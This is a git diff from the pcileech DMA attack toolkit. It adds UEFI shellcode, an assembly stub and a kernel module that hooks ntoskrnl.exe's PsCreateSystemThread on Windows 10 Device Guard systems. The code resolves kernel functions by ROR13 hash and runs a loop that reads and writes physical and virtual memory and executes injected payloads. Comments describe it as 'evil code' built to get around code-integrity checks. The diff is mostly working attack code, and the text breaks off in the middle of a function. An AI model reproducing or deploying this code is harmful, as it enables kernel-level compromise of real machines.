*PIMAGE_OPTIONAL_HEADER64; + +typedef struct _IMAGE_NT_HEADERS64 { + DWORD Signature; + IMAGE_FILE_HEADER FileHeader; + IMAGE_OPTIONAL_HEADER64 OptionalHeader; +} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64; + +#define IMAGE_SIZEOF_SHORT_NAME 8 + +typedef struct _IMAGE_SECTION_HEADER { + BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; + union { + DWORD PhysicalAddress; + DWORD VirtualSize; + } Misc; + DWORD VirtualAddress; + DWORD SizeOfRawData; + DWORD PointerToRawData; + DWORD PointerToRelocations; + DWORD PointerToLinenumbers; + WORD NumberOfRelocations; + WORD NumberOfLinenumbers; + DWORD Characteristics; +} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; + #endif /* __UEFI_COMMON_H__ */ diff --git a/pcileech_shellcode/uefi_kmd_c.c b/pcileech_shellcode/uefi_kmd_c.c index 733698e..3b10405 100644 --- a/pcileech_shellcode/uefi_kmd_c.c +++ b/pcileech_shellcode/uefi_kmd_c.c @@ -101,30 +101,30 @@ typedef struct tdPHYSICAL_MEMORY_RANGE { * KMD DATA struct. This struct must be contained in a 4096 byte section (page). * This page/struct is used to communicate between the inserted kernel code and * the pcileech program. -* VNR: 002 +* VNR: 003 */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/MACOS). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. QWORD _status; // [0x030] status of operation QWORD _result; // [0x038] result of operation TRUE|FALSE - QWORD _address; // [0x040] virtual address to operate on. + QWORD _address; // [0x040] address to operate on. QWORD _size; // [0x048] size of operation / data in DMA buffer. QWORD OperatingSystem; // [0x050] operating system type - QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). - QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. QWORD dataInExtraLength; // [0x100] length of extra in-data. QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. QWORD dataIn[28]; // [0x120] - QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraLength; // [0x200] length of extra out-data. QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. - QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. QWORD dataOut[28]; // [0x220] PVOID fn[32]; // [0x300] used by shellcode to store function pointers. @@ -230,8 +230,8 @@ VOID c_EntryPoint(PKMDDATA pk, QWORD paUEFI_IBI_SYST) SetMem((PQWORD)pk, 0x1000, 0); pk->MAGIC = 0x0ff11337711333377; pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_UEFI; - pk->ReservedKMD = paUEFI_IBI_SYST; // Address of UEFI system table - // 1: allocate memory for buffer + pk->ReservedKMD[0] = paUEFI_IBI_SYST; // Address of UEFI system table + // 2: allocate memory for buffer addr = 0xffffffff; pk->DMASizeBuffer = 0x01000000; status = AllocatePages(1, EfiBootServicesData, 0x1000, &addr); @@ -246,9 +246,9 @@ VOID c_EntryPoint(PKMDDATA pk, QWORD paUEFI_IBI_SYST) } pk->DMAAddrPhysical = addr; pk->DMAAddrVirtual = addr; - // 2: disable any watchdog timer (if exists) + // 3: disable any watchdog timer (if exists) pk->dataOut[2] = SetWatchdogTimer(0, 0, 0, 0); - // 3: main command loop. + // 4: main command loop. while(TRUE) { pk->_status = 1; if (KMD_CMD_COMPLETED == pk->_op) { // NOP diff --git a/pcileech_shellcode/uefi_textout.c b/pcileech_shellcode/uefi_textout.c index fa13370..801cf91 100644 --- a/pcileech_shellcode/uefi_textout.c +++ b/pcileech_shellcode/uefi_textout.c @@ -7,14 +7,14 @@ // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_common.c // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_textout.c // ml64.exe uefi_common_a.asm /Feuefi_textout.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main uefi_textout.obj uefi_common.obj -// shellcode64.exe -o uefi_textout.exe "UEFI TEST PROGRAM - PRINT STUFF ON THE SCREEN\n===========================================================\nSyntax: pcileech.exe -s \nGENERAL INFORMATION BELOW:\n TEXT : %s\n" +// shellcode64.exe -o uefi_textout.exe "UEFI TEST PROGRAM - PRINT STUFF ON THE SCREEN\n===========================================================\nSyntax: pcileech.exe uefi_textout\nOptions (optional): \ntext: -s \nposition: -0 1 -1 -2 \nnumber of runs (default=1): -3 \nGENERAL INFORMATION BELOW:\n TEXT : %s\n" // #include "uefi_common.h" VOID c_EntryPoint(PKMDDATA pk) { WCHAR szPrint[MAX_PATH]; - CHAR *szSrc, szPrintDefault[] = { ' ', ' ', ' ', 'U', 'E', 'F', 'I', ' ', 'E', 'V', 'I', 'L', ' ', 'I', 'N', ' ', 'B', 'O', 'O', 'T', ' ', 'S', 'E', 'R', 'V', 'I', 'C', 'E', 'S', '!', ' ', ' ', ' ', 0 }; + CHAR *szSrc, szPrintDefault[] = { ' ', ' ', ' ', ' ', 'U', 'E', 'F', 'I', ' ', 'E', 'V', 'I', 'L', ' ', 'F', 'R', 'O', 'M', ' ', 'P', 'C', 'I', 'L', 'E', 'E', 'C', 'H', '!', ' ', ' ', ' ' , ' ', 0 }; EFI_GUID GUID_EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL = EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL_GUID; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL oOut; EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *pOut = &oOut; @@ -27,7 +27,12 @@ VOID c_EntryPoint(PKMDDATA pk) } pk->dataOut[0] = efi_status = LocateProtocol(&GUID_EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL, NULL, (QWORD**)&pOut); if(!efi_status) { + if(pk->dataIn[0]) { + pOut->SetCursorPosition((QWORD*)pOut, pk->dataIn[1], pk->dataIn[2]); + } pOut->SetAttribute((QWORD*)pOut, EFI_BACKGROUND_RED | EFI_CYAN); - pOut->OutputString((QWORD*)pOut, szPrint); + for(i = 0; i < max(1, pk->dataIn[3]); i++) { + pOut->OutputString((QWORD*)pOut, szPrint); + } } } diff --git a/pcileech_shellcode/uefi_winload_ntos_kmd.asm b/pcileech_shellcode/uefi_winload_ntos_kmd.asm new file mode 100644 index 0000000..0075efe --- /dev/null +++ b/pcileech_shellcode/uefi_winload_ntos_kmd.asm @@ -0,0 +1,88 @@ +; uefi_winload_ntos_kmd.asm : assembly to receive execution from hooked function PsCreateSystemThread at end of execution (instead of RET) +; +; (c) Ulf Frisk, 2017 +; Author: Ulf Frisk, pcileech@frizk.net +; + +EXTRN c_EntryPoint:NEAR + +.CODE + +main PROC + JMP main_setup +main ENDP + +data_trigger_count db 00h, 00h ; offset 0x02 +addr_base_ntos dd 00000000h ; offset 0x04 +addr_this dd 00000000h ; offset 0x08 +addr_sym0 dd 00000000h ; offset 0x0c +addr_sym1 dd 00000000h ; offset 0x10 +addr_sym2 dd 00000000h ; offset 0x14 + +main_setup PROC + PUSH rax + ; ---------------------------------------------------- + ; only continue of running at IRQL PASSIVE_LEVEL + ; ---------------------------------------------------- + MOV rax, cr8 + TEST al, al + JNZ main_setup_exit + ; ---------------------------------------------------- + ; save registers (14regs) + ; ---------------------------------------------------- + PUSH rbx + PUSH rcx + PUSH rdx + PUSH rdi + PUSH rsi + PUSH r8 + PUSH r9 + PUSH r10 + PUSH r11 + PUSH r12 + PUSH r13 + PUSH r14 + PUSH r15 + PUSH rbp + ; ---------------------------------------------------- + ; fetch ntos base, vfs addr, cr3, align stack, jump to c-code + ; ---------------------------------------------------- + LEA rcx, [main] + MOV eax, [addr_this] + SUB rcx, rax + MOV eax, [addr_base_ntos] + ADD rcx, rax + LEA rdx, [main] + MOV r8, cr3 + MOV r15, rsp + SUB rsp, 100h + SHR rsp, 4 + SHL rsp, 4 + CALL c_EntryPoint + MOV rsp, r15 + ; ---------------------------------------------------- + ; restore registers + ; ---------------------------------------------------- + POP rbp + POP r15 + POP r14 + POP r13 + POP r12 + POP r11 + POP r10 + POP r9 + POP r8 + POP rsi + POP rdi + POP rdx + POP rcx + POP rbx + ; ---------------------------------------------------- + ; return + ; ---------------------------------------------------- + main_setup_exit: + POP rax + RET +main_setup ENDP + +END diff --git a/pcileech_shellcode/uefi_winload_ntos_kmd_c.c b/pcileech_shellcode/uefi_winload_ntos_kmd_c.c new file mode 100644 index 0000000..abbcd65 --- /dev/null +++ b/pcileech_shellcode/uefi_winload_ntos_kmd_c.c @@ -0,0 +1,431 @@ +// uefi_winload_ntos_kmd_c.c : special kmd for use in pre-patched ntoskrnl.exe with VBS enforced code integrity +// +// (planned to be used in demo at 34c3) +// +// (c) Ulf Frisk, 2017 +// Author: Ulf Frisk, pcileech@frizk.net +// +// compile with: +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_winload_ntos_kmd_c.c +// ml64.exe uefi_winload_ntos_kmd.asm /Feuefi_winload_ntos_kmd.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main uefi_winload_ntos_kmd_c.obj +// shellcode64.exe -o uefi_winload_ntos_kmd.exe +// +#include +#pragma warning( disable : 4047 4055 4127) + +typedef unsigned __int64 QWORD, *PQWORD; +typedef __int64 PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +// ----------------------------- KERNEL DEFINES AND TYPEDEFS BELOW ----------------------------- + +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID; +typedef CLIENT_ID *PCLIENT_ID; + +typedef _IRQL_requires_same_ _Function_class_(KSTART_ROUTINE) VOID KSTART_ROUTINE( + _In_ PVOID StartContext +); +typedef KSTART_ROUTINE *PKSTART_ROUTINE; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + _Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; +typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES; + +typedef enum _MEMORY_CACHING_TYPE { + MmNonCached = 0, + MmCached = 1, + MmWriteCombined = 2, + MmHardwareCoherentCached = 3, + MmNonCachedUnordered = 4, + MmUSWCCached = 5, + MmMaximumCacheType = 6 +} MEMORY_CACHING_TYPE; + +typedef struct _PHYSICAL_MEMORY_RANGE { + PHYSICAL_ADDRESS BaseAddress; + LARGE_INTEGER NumberOfBytes; +} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE; + +typedef enum _MODE { + KernelMode, + UserMode, + MaximumMode +} MODE; + +// ----------------------------- ROR13 HASHES BELOW ----------------------------- + +#define H_ExFreePool 0x9d489d1f +#define H_MmAllocateContiguousMemory 0x9f361ebc +#define H_MmFreeContiguousMemory 0x1345f592 +#define H_MmGetPhysicalAddress 0x5a326357 +#define H_MmGetPhysicalMemoryRanges 0x4977a56f +#define H_MmMapIoSpace 0x05ddbef9 +#define H_MmUnmapIoSpace 0x6c6ec5c9 +#define H_PsCreateSystemThread 0x94a06b02 +#define H_RtlCopyMemory 0xcf64979b +#define H_RtlZeroMemory 0xc53d4fdb +#define H_ZwProtectVirtualMemory 0xbc3f4d89 +#define H_KeDelayExecutionThread 0x58586d92 +#define H_RtlZeroMemory 0xc53d4fdb + +// ----------------------------- SHELLCODE DEFINES AND TYPEDEFS BELOW (STAGE2) ----------------------------- + +#undef RtlCopyMemory +#undef RtlZeroMemory +typedef struct tdNTOS { + VOID(*ExFreePool)( + _In_ PVOID P + ); + VOID(*MmFreeContiguousMemory)( + _In_ PVOID BaseAddress + ); + PVOID(*MmAllocateContiguousMemory)( + _In_ SIZE_T NumberOfBytes, + _In_ PHYSICAL_ADDRESS HighestAcceptableAddress + ); + PHYSICAL_ADDRESS(*MmGetPhysicalAddress)( + _In_ PVOID BaseAddress + ); + PPHYSICAL_MEMORY_RANGE(*MmGetPhysicalMemoryRanges)( + VOID + ); + PVOID(*MmMapIoSpace)( + _In_ PHYSICAL_ADDRESS PhysicalAddress, + _In_ SIZE_T NumberOfBytes, + _In_ MEMORY_CACHING_TYPE CacheType + ); + VOID(*MmUnmapIoSpace)( + _In_ PVOID BaseAddress, + _In_ SIZE_T NumberOfBytes + ); + NTSTATUS(*PsCreateSystemThread)( + _Out_ PHANDLE ThreadHandle, + _In_ ULONG DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ HANDLE ProcessHandle, + _Out_opt_ PCLIENT_ID ClientId, + _In_ PKSTART_ROUTINE StartRoutine, + _In_opt_ PVOID StartContext + ); + VOID(*RtlCopyMemory)( + _Out_ VOID UNALIGNED *Destination, + _In_ const VOID UNALIGNED *Source, + _In_ SIZE_T Length + ); + NTSTATUS(*ZwProtectVirtualMemory)( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect + ); + NTSTATUS(*KeDelayExecutionThread)( + _In_ MODE WaitMode, + _In_ BOOLEAN Alertable, + _In_ PINT64 pllInterval_Neg100ns + ); + QWORD ReservedFutureUse[21]; +} NTOS, *PNTOS; + +#define KMDDATA_OPERATING_SYSTEM_WINDOWS 0x01 +#define KMDDATA_MAGIC 0xff11337711333377 + +/* +* KMD DATA struct. This struct must be contained in a 4096 byte section (page). +* This page/struct is used to communicate between the inserted kernel code and +* the pcileech program. +* VNR: 003 +*/ +typedef struct tdKMDDATA { + QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). + QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). + QWORD DMASizeBuffer; // [0x018] size of DMA buffer. + QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. + QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. + QWORD _status; // [0x030] status of operation + QWORD _result; // [0x038] result of operation TRUE|FALSE + QWORD _address; // [0x040] address to operate on. + QWORD _size; // [0x048] size of operation / data in DMA buffer. + QWORD OperatingSystem; // [0x050] operating system type + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. + QWORD dataInExtraLength; // [0x100] length of extra in-data. + QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. + QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. + QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. + QWORD dataIn[28]; // [0x120] + QWORD dataOutExtraLength; // [0x200] length of extra out-data. + QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. + QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. + QWORD dataOut[28]; // [0x220] + NTOS fn; // [0x300] used by shellcode to store function pointers. + CHAR dataInStr[MAX_PATH]; // [0x400] string in-data + CHAR ReservedFutureUse2[252]; + CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data + CHAR ReservedFutureUse3[252]; + QWORD ReservedFutureUse4[255]; // [0x800] + QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page) +} KMDDATA, *PKMDDATA; + +// ----------------------------- SHELLCODE FUNCTIONS BELOW (STAGE2) ----------------------------- + +DWORD HashROR13A(_In_ LPCSTR sz) +{ + DWORD dwVal, dwHash = 0; + while(*sz) { + dwVal = (DWORD)*sz++; + dwHash = (dwHash >> 13) | (dwHash << 19); + dwHash += dwVal; + } + return dwHash; +} + +/* +* Lookup a function and return it, if found. +* -- hModule +* -- dwProcNameH +* -- return +*/ +QWORD PEGetProcAddressH(_In_ QWORD hModule, _In_ DWORD dwProcNameH) +{ + PDWORD pdwRVAAddrNames, pdwRVAAddrFunctions; + PWORD pwNameOrdinals; + DWORD i, dwFnIdx, dwHash; + LPSTR sz; + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; // dos header. + PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(hModule + dosHeader->e_lfanew); // nt header + PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hModule); + pdwRVAAddrNames = (PDWORD)(hModule + exp->AddressOfNames); + pwNameOrdinals = (PWORD)(hModule + exp->AddressOfNameOrdinals); + pdwRVAAddrFunctions = (PDWORD)(hModule + exp->AddressOfFunctions); + for(i = 0; i < exp->NumberOfNames; i++) { + sz = (LPSTR)(hModule + pdwRVAAddrNames[i]); + dwHash = HashROR13A(sz); + if(dwHash == dwProcNameH) { + dwFnIdx = pwNameOrdinals[i]; + if(dwFnIdx >= exp->NumberOfFunctions) { return 0; } + return hModule + pdwRVAAddrFunctions[dwFnIdx]; + } + } + return 0; +} + +#define KMD_CMD_VOID 0xffff +#define KMD_CMD_COMPLETED 0 +#define KMD_CMD_READ 1 +#define KMD_CMD_WRITE 2 +#define KMD_CMD_TERMINATE 3 +#define KMD_CMD_MEM_INFO 4 +#define KMD_CMD_EXEC 5 +#define KMD_CMD_READ_VA 6 +#define KMD_CMD_WRITE_VA 7 +#define KMD_CMD_EXEC_EXTENDED 8 + +// status: +// 1: ready for command +// 2: processing +// f0000000: terminated +// f0000000+: error +// op: - see KMD_CMD defines +// result: +// 0: FALSE +// 1: TRUE +// address: +// physical base address for memory operation +// size: +// size of memory operation +VOID stage3_c_MainCommandLoop(PKMDDATA pk) +{ + LONGLONG llTimeToWait = -10000; // 1000 uS (negative multiples of 100ns) + PVOID pvBufferOutDMA; + PPHYSICAL_MEMORY_RANGE pMemMap; + PVOID pvMM = NULL; + QWORD i, idleCount = 0; + // 1: set up mem out dma area 16MB//4MB in lower 4GB + pk->DMASizeBuffer = 0x1000000; + pvBufferOutDMA = pk->fn.MmAllocateContiguousMemory(0x01000000, 0xffffffff); + if(!pvBufferOutDMA) { + pk->DMASizeBuffer = 0x00400000; + pvBufferOutDMA = pk->fn.MmAllocateContiguousMemory(0x00400000, 0xffffffff); + } + if(!pvBufferOutDMA) { + pk->DMASizeBuffer = 0; + pk->_status = 0xf0000001; + return; + } + pk->DMAAddrVirtual = (QWORD)pvBufferOutDMA; + pk->DMAAddrPhysical = pk->fn.MmGetPhysicalAddress(pvBufferOutDMA); + // 2: main dump loop + while(TRUE) { + pk->_status = 1; + if(KMD_CMD_COMPLETED == pk->_op) { // NOP + idleCount++; + // thread wait after X number of idle loops - TODO: change to timing + if(idleCount > 10000000000) { + pk->fn.KeDelayExecutionThread(KernelMode, FALSE, &llTimeToWait); + } + continue; + } + pk->_status = 2; + if(KMD_CMD_TERMINATE == pk->_op) { // EXIT + pk->_status = 0xf0000000; + pk->fn.MmFreeContiguousMemory(pvBufferOutDMA); + pk->DMAAddrPhysical = 0; + pk->DMAAddrVirtual = 0; + pk->_result = TRUE; + pk->MAGIC = 0; + pk->_op = KMD_CMD_COMPLETED; + return; + } + if(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map) + pMemMap = pk->fn.MmGetPhysicalMemoryRanges(); + if(pMemMap == NULL) { + pk->_result = FALSE; + } else { + for(i = 0; (pMemMap[i].BaseAddress) || (pMemMap[i].NumberOfBytes.QuadPart); i++); + pk->_size = i * sizeof(PHYSICAL_MEMORY_RANGE); + pk->fn.RtlCopyMemory(pvBufferOutDMA, pMemMap, pk->_size); + pk->fn.ExFreePool(pMemMap); + pk->_result = TRUE; + } + } + if(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer + if(pk->dataIn[9]) { + // PSCMD_KERNEL + ((VOID(*)(PKMDDATA))pk->ReservedKMD[1])(pk); + pk->_result = TRUE; + } else { + // VFS + ((VOID(*)(PKMDDATA))pk->ReservedKMD[0])(pk); + pk->_result = TRUE; + } + } + if(KMD_CMD_READ == pk->_op || KMD_CMD_WRITE == pk->_op) { // PHYSICAL MEMORY READ/WRITE + if(pk->dataIn[9] == 0) { + pvMM = NULL; // no memory read if vfs (might crash the system accidentally) + } else { + pvMM = pk->fn.MmMapIoSpace(pk->_address, pk->_size, 0); + } + if(pvMM) { + if(KMD_CMD_READ == pk->_op) { // READ + pk->fn.RtlCopyMemory(pvBufferOutDMA, pvMM, pk->_size); + } else { // WRITE + pk->fn.RtlCopyMemory(pvMM, pvBufferOutDMA, pk->_size); + } + pk->fn.MmUnmapIoSpace(pvMM, pk->_size); + pk->_result = TRUE; + } else { + pk->_result = FALSE; + } + } + if(KMD_CMD_READ_VA == pk->_op) { // READ Virtual Address + pk->fn.RtlCopyMemory(pvBufferOutDMA, (PVOID)pk->_address, pk->_size); + pk->_result = TRUE; + } + if(KMD_CMD_WRITE_VA == pk->_op) { // WRITE Virtual Address + pk->fn.RtlCopyMemory((PVOID)pk->_address, pvBufferOutDMA, pk->_size); + pk->_result = TRUE; + } + pk->_op = KMD_CMD_COMPLETED; + idleCount = 0; + } +} + +#define DATA_OFFSET_TRIGGER_COUNT 0x02 +#define DATA_OFFSET_KMD_THIS 0x08 +#define DATA_OFFSET_VFS 0x0c +#define DATA_OFFSET_PSCMD_KERNEL 0x10 +#define DATA_OFFSET_PSCMD_USER 0x14 +VOID c_EntryPoint_Thread(QWORD qwAddrNtosBase, QWORD qwAddrKmdBase) +{ + PVOID(*MmMapIoSpace)(PHYSICAL_ADDRESS, SIZE_T, MEMORY_CACHING_TYPE); + VOID(*MmUnmapIoSpace)(PVOID, SIZE_T); + PVOID(*MmAllocateContiguousMemory)(SIZE_T, PHYSICAL_ADDRESS); + PHYSICAL_ADDRESS(*MmGetPhysicalAddress)(PVOID); + VOID(*RtlZeroMemory)(PVOID, SIZE_T); + PVOID pvKMD, pvPA1000; + PKMDDATA pk; + DWORD i = 0, NAMES[32]; + QWORD vaAddrZero; + MmMapIoSpace = (PVOID(*)(PHYSICAL_ADDRESS, SIZE_T, MEMORY_CACHING_TYPE))PEGetProcAddressH(qwAddrNtosBase, H_MmMapIoSpace); + MmUnmapIoSpace = (VOID(*)(PVOID, SIZE_T))PEGetProcAddressH(qwAddrNtosBase, H_MmUnmapIoSpace); + MmAllocateContiguousMemory = (PVOID(*)(SIZE_T, PHYSICAL_ADDRESS))PEGetProcAddressH(qwAddrNtosBase, H_MmAllocateContiguousMemory); + MmGetPhysicalAddress = (PHYSICAL_ADDRESS(*)(PVOID))PEGetProcAddressH(qwAddrNtosBase, H_MmGetPhysicalAddress); + RtlZeroMemory = (VOID(*)(PVOID, SIZE_T))PEGetProcAddressH(qwAddrNtosBase, H_RtlZeroMemory); + pvKMD = MmMapIoSpace(0x3000, 0x1000, 0); + if(!pvKMD) { return; } + RtlZeroMemory(pvKMD, 0x1000); + pk = (PKMDDATA)pvKMD; + pk->AddrKernelBase = qwAddrNtosBase; + pk->MAGIC = 0x0ff11337711333377; + pk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_WINDOWS; + vaAddrZero = qwAddrKmdBase - *(PDWORD)(qwAddrKmdBase + DATA_OFFSET_KMD_THIS); + pk->ReservedKMD[0] = vaAddrZero + *(PDWORD)(qwAddrKmdBase + DATA_OFFSET_VFS); + pk->ReservedKMD[1] = vaAddrZero + *(PDWORD)(qwAddrKmdBase + DATA_OFFSET_PSCMD_KERNEL); + pk->ReservedKMD[2] = vaAddrZero + *(PDWORD)(qwAddrKmdBase + DATA_OFFSET_PSCMD_USER); + NAMES[i++] = H_ExFreePool; + NAMES[i++] = H_MmFreeContiguousMemory; + NAMES[i++] = H_MmAllocateContiguousMemory; + NAMES[i++] = H_MmGetPhysicalAddress; + NAMES[i++] = H_MmGetPhysicalMemoryRanges; + NAMES[i++] = H_MmMapIoSpace; + NAMES[i++] = H_MmUnmapIoSpace; + NAMES[i++] = H_PsCreateSystemThread; + NAMES[i++] = H_RtlCopyMemory; + NAMES[i++] = H_ZwProtectVirtualMemory; + NAMES[i++] = H_KeDelayExecutionThread; + while(i) { + i--; + *((PQWORD)&pk->fn + i) = PEGetProcAddressH(pk->AddrKernelBase, NAMES[i]); + } + pvPA1000 = MmMapIoSpace(0x1000, 0x1000, 0); + *(PQWORD)((QWORD)pvPA1000 + 0xc0) = MmGetPhysicalAddress(pvKMD); + *(PQWORD)((QWORD)pvPA1000 + 0xb0) = KMDDATA_MAGIC; + MmUnmapIoSpace(pvPA1000, 0x1000); + stage3_c_MainCommandLoop(pk); +} + +VOID c_EntryPoint(QWORD qwAddrNtosBase, QWORD qwAddrKmdBase, QWORD qwCR3) +{ + PVOID(*MmMapIoSpace)(PHYSICAL_ADDRESS, SIZE_T, MEMORY_CACHING_TYPE); + VOID(*MmUnmapIoSpace)(PVOID, SIZE_T); + PVOID pvPA1000; + QWORD count; + WORD cTrigger; + MmMapIoSpace = (PVOID(*)(PHYSICAL_ADDRESS, SIZE_T, MEMORY_CACHING_TYPE))PEGetProcAddressH(qwAddrNtosBase, H_MmMapIoSpace); + MmUnmapIoSpace = (VOID(*)(PVOID, SIZE_T))PEGetProcAddressH(qwAddrNtosBase, H_MmUnmapIoSpace); + pvPA1000 = MmMapIoSpace(0x1000, 0x1000, 0); + if(!pvPA1000) { return; } + if((*(PQWORD)((QWORD)pvPA1000 + 0xa0) == qwCR3)) { + cTrigger = *(PWORD)(qwAddrKmdBase + DATA_OFFSET_TRIGGER_COUNT); + count = *(PQWORD)((QWORD)pvPA1000 + 0xb8) = *(PQWORD)((QWORD)pvPA1000 + 0xb8) + 1; + if(count == cTrigger) { + MmUnmapIoSpace(pvPA1000, 0x1000); + //INFO: it seems like we cannot create system thread due to security checks + //PsCreateSystemThread = (NTSTATUS(*)(PHANDLE, ULONG, POBJECT_ATTRIBUTES, HANDLE, PCLIENT_ID, PKSTART_ROUTINE, PVOID))PEGetProcAddressH(qwAddrNtosBase, H_PsCreateSystemThread); + //PsCreateSystemThread(&hThread, 0x1ffff, NULL, NULL, NULL, (PKSTART_ROUTINE)c_EntryPoint_Thread, (PVOID)qwAddrNtosBase); + //INFO: hijack is fine with 'security' though =P + c_EntryPoint_Thread(qwAddrNtosBase, qwAddrKmdBase); + return; + } + } + MmUnmapIoSpace(pvPA1000, 0x1000); +} diff --git a/pcileech_shellcode/uefi_winload_ntos_patch.c b/pcileech_shellcode/uefi_winload_ntos_patch.c new file mode 100644 index 0000000..5892ca7 --- /dev/null +++ b/pcileech_shellcode/uefi_winload_ntos_patch.c @@ -0,0 +1,949 @@ +// uefi_winload_ntos_patch.c : hooks/patches ntoskrnl.exe!PsCreateSystemThreadEx with evil code. +// evil code consists of: +// - custom kernel module +// - mount (vfs) payload (use with 'pcileech mount') +// - pscmd payload (use with 'pcileech wx64_pscmd -9 1') +// +// (planned to be used in demo at 34c3) +// +// (c) Ulf Frisk, 2017 +// Author: Ulf Frisk, pcileech@frizk.net +// +// compile with: +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_common.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_winload_ntos_patch.c +// ml64.exe uefi_common_a.asm /Feuefi_winload_ntos_patch.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main uefi_winload_ntos_patch.obj uefi_common.obj +// shellcode64.exe -o uefi_winload_ntos_patch.exe "UEFI WINLOAD NTOSKRNL.EXE PATCHER FOR DEVICE GUARD SYSTEMS\n===========================================================\nPatches ntoskrnl.exe!PsCreateSystemThread with executable set separately with\nthe in parameter. Must be run from ExitBootServices. Targets Windows 10 with\nDevice Guard only! Good value for num_threads_skip is 0x50.\nSyntax: pcileech.exe uefi_winload_ntos_patch -in -0 \nGENERAL INFORMATION BELOW:%s\n Status : %016llx\n NTOSKRNL.EXE : %016llx\n Hooked Function : %016llx\n Code Cave VFS : %016llx\n Code Cave KMD : %016llx\n Code Cave CMD #1 : %016llx\n Code Cave CMD #2 : %016llx\n" +// +#include "uefi_common.h" + +// ---------------------------------------------------------------------------- +// UTILITY FUNCTIONS BELOW: +// ---------------------------------------------------------------------------- + +/* +* Calculate a ROR13 hash given an ANSI string. +* -- sz +* -- return +*/ +DWORD 